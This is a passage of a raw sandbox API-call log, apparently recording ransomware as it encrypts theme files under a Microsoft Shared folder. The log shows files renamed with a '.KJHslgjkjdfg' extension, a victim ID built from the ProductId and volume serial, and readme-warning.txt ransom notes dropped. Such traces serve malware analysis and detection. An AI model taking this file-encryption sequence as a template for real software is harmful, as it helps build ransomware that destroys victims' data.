GetProcessHeap () returned 0x2a0000 [0147.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.799] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.799] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.799] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.799] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.799] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.799] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.800] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.800] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.800] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.800] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.800] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.800] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x24a, lpOverlapped=0x0) returned 1 [0147.800] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x250, dwBufLen=0x250 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x250) returned 1 [0147.800] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.800] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x250, lpOverlapped=0x0) returned 1 [0147.800] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.800] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.800] SetEndOfFile (hFile=0x118) returned 1 [0147.803] GetProcessHeap () returned 0x2a0000 [0147.803] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.803] GetProcessHeap () returned 0x2a0000 [0147.803] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.kjhslgjkjdfg")) returned 1 [0147.809] CloseHandle (hObject=0x118) returned 1 [0147.809] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.810] GetProcessHeap () returned 0x2a0000 [0147.810] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.810] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.810] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.810] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0147.813] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.813] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.813] GetProcessHeap () returned 0x2a0000 [0147.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.813] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.813] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.813] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.813] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.813] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.813] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.813] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.813] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.813] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.814] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.814] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.814] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3d79, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x3d79, lpOverlapped=0x0) returned 1 [0147.815] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x3d80) returned 1 [0147.815] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.815] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x3d80, lpOverlapped=0x0) returned 1 [0147.815] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.815] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.815] SetEndOfFile (hFile=0x118) returned 1 [0147.818] GetProcessHeap () returned 0x2a0000 [0147.818] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.818] GetProcessHeap () returned 0x2a0000 [0147.818] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.818] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.819] CloseHandle (hObject=0x118) returned 1 [0147.825] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.825] GetProcessHeap () returned 0x2a0000 [0147.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.826] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.826] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.826] GetProcessHeap () returned 0x2a0000 [0147.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.826] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.826] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.826] GetProcessHeap () returned 0x2a0000 [0147.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.826] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.826] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.826] GetProcessHeap () returned 0x2a0000 [0147.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.826] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.826] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.826] GetProcessHeap () returned 0x2a0000 [0147.826] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.826] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.826] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.826] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.827] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.827] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.827] RegCloseKey (hKey=0x118) returned 0x0 [0147.827] GetProcessHeap () returned 0x2a0000 [0147.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.827] GetProcessHeap () returned 0x2a0000 [0147.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.827] GetProcessHeap () returned 0x2a0000 [0147.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.827] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.827] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.827] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.827] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.827] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.827] GetProcessHeap () returned 0x2a0000 [0147.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.828] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.828] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.828] GetProcessHeap () returned 0x2a0000 [0147.828] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.828] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\readme-warning.txt") returned 82 [0147.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.828] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.829] CloseHandle (hObject=0x118) returned 1 [0147.830] GetProcessHeap () returned 0x2a0000 [0147.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.830] GetProcessHeap () returned 0x2a0000 [0147.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.830] GetProcessHeap () returned 0x2a0000 [0147.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.830] GetProcessHeap () returned 0x2a0000 [0147.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.830] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.830] GetProcessHeap () returned 0x2a0000 [0147.830] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.830] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0147.830] GetProcessHeap () returned 0x2a0000 [0147.830] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0147.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.832] GetProcessHeap () returned 0x2a0000 [0147.832] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0147.832] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.832] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.832] GetProcessHeap () returned 0x2a0000 [0147.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0147.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.832] GetProcessHeap () returned 0x2a0000 [0147.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.832] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.832] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.832] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0147.834] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.834] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.834] GetProcessHeap () returned 0x2a0000 [0147.834] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.834] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.834] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.834] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.835] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.835] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.835] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.835] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.835] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.835] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.835] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.835] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.835] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf82, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xf82, lpOverlapped=0x0) returned 1 [0147.835] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xf90, dwBufLen=0xf90 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xf90) returned 1 [0147.835] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.835] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xf90, lpOverlapped=0x0) returned 1 [0147.836] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.836] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.836] SetEndOfFile (hFile=0x118) returned 1 [0147.838] GetProcessHeap () returned 0x2a0000 [0147.838] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.838] GetProcessHeap () returned 0x2a0000 [0147.838] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | 